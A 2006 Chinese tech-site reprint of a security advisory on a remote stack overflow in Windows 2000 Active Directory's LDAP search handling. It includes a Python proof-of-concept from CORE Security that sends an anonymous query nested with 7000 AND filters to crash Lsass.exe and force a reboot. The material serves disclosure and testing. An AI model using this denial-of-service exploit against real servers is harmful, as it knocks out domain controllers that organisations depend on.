动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   服务器 → 阅读文章
  

 活动目录远程堆栈溢出缺陷

作者来源:51CTO.com整理  
阅读 数 263 人次 , 2006-3-18 13:28:00 

涉及程序:Win2k Active Directory

描述:Microsoft Windows 活动目录远程堆栈溢出缺陷

详细:Windows Active Directory(活动目录)是Windows 2000结构的重要组件,是Microsoft提供的强大的目录服务系统。

Windows活动目录的LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查,远程攻击者可利用此缺陷使Lsass.exe服务崩溃,触发缓冲区溢出。

通过活动目录提供的目录服务基于LDAP协议和并使用协议存储和获得Active目录对象。活动目录中使用LDAP 3的'search request'请求功能存在问题,攻击者如果构建超过1000个"AND"的请求,并发送给服务器,可导致触发堆栈溢出,使Lsass.exe服务崩溃,系统会在30秒内重新启动。

攻击方法:

CORE Security Technologies Advisories (advisories@coresecurity.com)提供了如下测试方法:

下面是一段Python测试脚本:

class ActiveDirectoryDOS( Ldap ):

def __init__(self):

self._s = None

self.host = '192.168.0.1'

self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'

self.port = 389

self.buffer = ''

self.msg_id = 1

Ldap.__init__()

def generateFilter_BinaryOp( self, filter ):

filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()

filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )

return filterBuffer

def generateFilter_RecursiveBinaryOp( self, filter, numTimes):

simpleBinOp = self.generateFilter_BinaryOp( filter )

filterBuffer = simpleBinOp

for cnt in range( 0, numTimes ):

filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )

return filterBuffer

def searchSub( self, filterBuffer ):

self.bindRequest()

self.searchRequest( filterBuffer )

def run(self, host = '', basedn = '', name = '' ):

# the machine must not exist

machine_name = 'xaxax'

filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)

# execute the anonymous query

print 'executing query'

filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )

self.searchSub( filterBuffer )



 
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:活动目录之用户配置文件(1)
· 下一篇:活动目录概念和灾难恢复
· 实现四台Web服务器的负载均衡
· 构建网络安全长城之烽火台的建立(6)
· Exchange 2000 Server的安装(3)
· 另类方法恢复双启动菜单
· 多服务器的日志合并统计(4)


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077